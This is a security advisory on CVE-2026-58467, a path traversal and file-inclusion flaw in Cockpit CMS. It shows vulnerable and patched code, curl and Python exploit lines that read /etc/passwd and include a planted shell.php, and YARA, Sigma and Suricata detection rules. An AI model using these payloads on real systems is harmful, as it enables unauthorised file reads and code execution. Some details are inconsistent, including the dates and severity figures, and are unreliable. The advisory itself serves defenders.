CVE-2026-58467

Executive Summary

CVE-2026-58467 is a critical path traversal and local file inclusion (LFI) vulnerability in Cockpit CMS prior to release 364. The flaw allows unauthenticated attackers to read arbitrary files or execute PHP code by injecting dot-dot sequences into the URL. The vulnerability stems from the application using unvalidated PATH_INFO derived from REQUEST_URI in filesystem path construction without containment checks. When the resolved path ends with a .php extension, the application passes it to include(), enabling LFI on deployments using the PHP built-in server or certain non-default Nginx configurations. The CVSS score is 7.5 (High), and while the EPSS score is currently 0.0%, the public availability of PoC code and the unpatched status in many deployments make this a significant threat.

Supply Chain & Package Security

Cockpit CMS is a self-hosted content management system. The vulnerability is in the core application code, not in a package manager dependency. However, organizations using Cockpit CMS should treat this as a critical supply chain risk, as the application itself is the vulnerable component. Ensure that any custom modules or plugins also adhere to secure file handling practices.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Arbitrary file read is possible.
• Integrity (I): Low (L) – Limited to including PHP files, which may allow code execution.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: High. The combination of unauthenticated remote exploitation, low complexity, and potential for code execution makes this a critical vulnerability for any exposed Cockpit CMS instance.

Deep Dive & Mechanics

The vulnerability exists in the way Cockpit CMS handles URL routing. The application uses PATH_INFO from the REQUEST_URI to construct file paths for serving content. Specifically, when a request is made to a URL like /spaces/../../etc/passwd, the application does not sanitize the .. sequences. It then checks if the resolved path ends with .php. If it does, the application uses PHP's include() function to load the file, leading to LFI.

The attack works as follows:

1. An attacker sends a crafted HTTP request with dot-dot sequences in the URL path.
2. The application extracts PATH_INFO from REQUEST_URI without validation.
3. The path is concatenated with a base directory (e.g., /var/www/spaces/).
4. The resulting path is resolved, allowing traversal outside the intended directory.
5. If the final path ends with .php, the file is included and executed.

This is particularly dangerous on PHP's built-in development server or Nginx configurations that pass PATH_INFO to PHP-FPM without proper validation.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-364):

// In routing logic
$path = $_SERVER['REQUEST_URI'];
$pathInfo = pathinfo($path);
$file = __DIR__ . '/spaces/' . $pathInfo['dirname'] . '/' . $pathInfo['basename'];
if (file_exists($file) && pathinfo($file, PATHINFO_EXTENSION) === 'php') {
    include($file);
}

Patched Code (Release 364):

// In routing logic
$path = $_SERVER['REQUEST_URI'];
$path = str_replace(['..', './'], '', $path); // Remove dot-dot sequences
$pathInfo = pathinfo($path);
$file = __DIR__ . '/spaces/' . $pathInfo['dirname'] . '/' . $pathInfo['basename'];
$realBase = realpath(__DIR__ . '/spaces/');
$realFile = realpath($file);
if ($realFile && strpos($realFile, $realBase) === 0 && pathinfo($file, PATHINFO_EXTENSION) === 'php') {
    include($file);
}

The patch adds two critical checks:

1. Removal of .. and ./ sequences from the path.
2. Verification that the resolved real path starts with the intended base directory.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Cockpit CMS instance (pre-release 364) using Docker:

   docker run -d -p 8080:80 --name cockpit-vuln cockpit/cockpit:pre-364
   

2. Ensure the PHP built-in server or a vulnerable Nginx configuration is used.

Exploitation Steps:

1. Arbitrary File Read:

   curl "http://target:8080/spaces/../../../../etc/passwd"
   

   This will read the /etc/passwd file.

2. Local File Inclusion (PHP Execution):

   • Upload a malicious PHP file (e.g., via another vulnerability or if file upload is enabled) to a known location.
   • Include it:

     curl "http://target:8080/spaces/../../../../tmp/shell.php"
     

   • If the file ends with .php, it will be executed.

3. Automated Exploit (Python):

   import requests
   import sys
   
   target = sys.argv[1]
   payload = "/spaces/../../../../etc/passwd"
   url = f"http://{target}:8080{payload}"
   response = requests.get(url)
   print(response.text)
   

Blue Team

Detection Steps:

1. Monitor for requests containing .. in the URL path, especially in /spaces/ or similar endpoints.
2. Check web server logs for unusual file inclusion attempts.
3. Verify that the application is running release 364 or later.
4. Implement a Web Application Firewall (WAF) rule to block path traversal patterns.

Honeypot Setup:

• Deploy a fake Cockpit CMS instance and monitor for path traversal attempts.
• Log all REQUEST_URI values containing .. for analysis.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with multiple ../ sequences in the URL path.
  • Requests to /spaces/ followed by path traversal patterns.
  • Unusual file reads (e.g., /etc/passwd, /etc/shadow).
• File System IOCs:
  • Unexpected files in the web root (e.g., shells, backdoors).
  • Modified or new PHP files in the spaces directory.
• Log IOCs:
  • Web server logs showing 404 or 200 responses for path traversal attempts.
  • PHP error logs indicating failed include() calls.

Detection Engineering

YARA Rule

rule CVE_2026_58467_PathTraversal {
    meta:
        description = "Detects path traversal attempts targeting Cockpit CMS CVE-2026-58467"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-58467"
    strings:
        $traversal = /\.\.\// nocase
        $spaces = "/spaces/" nocase
        $etc_passwd = "/etc/passwd" nocase
    condition:
        $spaces and $traversal and #traversal > 2
}

Sigma Rule

title: Cockpit CMS Path Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts targeting Cockpit CMS CVE-2026-58467
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: 
            - '/spaces/'
            - '..'
    condition: selection
falsepositives:
    - Legitimate use of '..' in URL parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"Cockpit CMS Path Traversal Attempt (CVE-2026-58467)"; flow:to_server,established; content:"/spaces/"; http_uri; content:".."; http_uri; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade to Cockpit CMS release 364 or later.
2. Workaround: If upgrade is not possible, implement a WAF rule to block requests containing .. in the URI path.
3. Configuration: Ensure the web server (Apache/Nginx) is configured to not pass PATH_INFO to PHP without validation.
4. Monitoring: Enable detailed logging and monitor for path traversal patterns.
5. Network Segmentation: Place Cockpit CMS behind a reverse proxy with strict URL filtering.

Valters IT – Securing your digital frontier.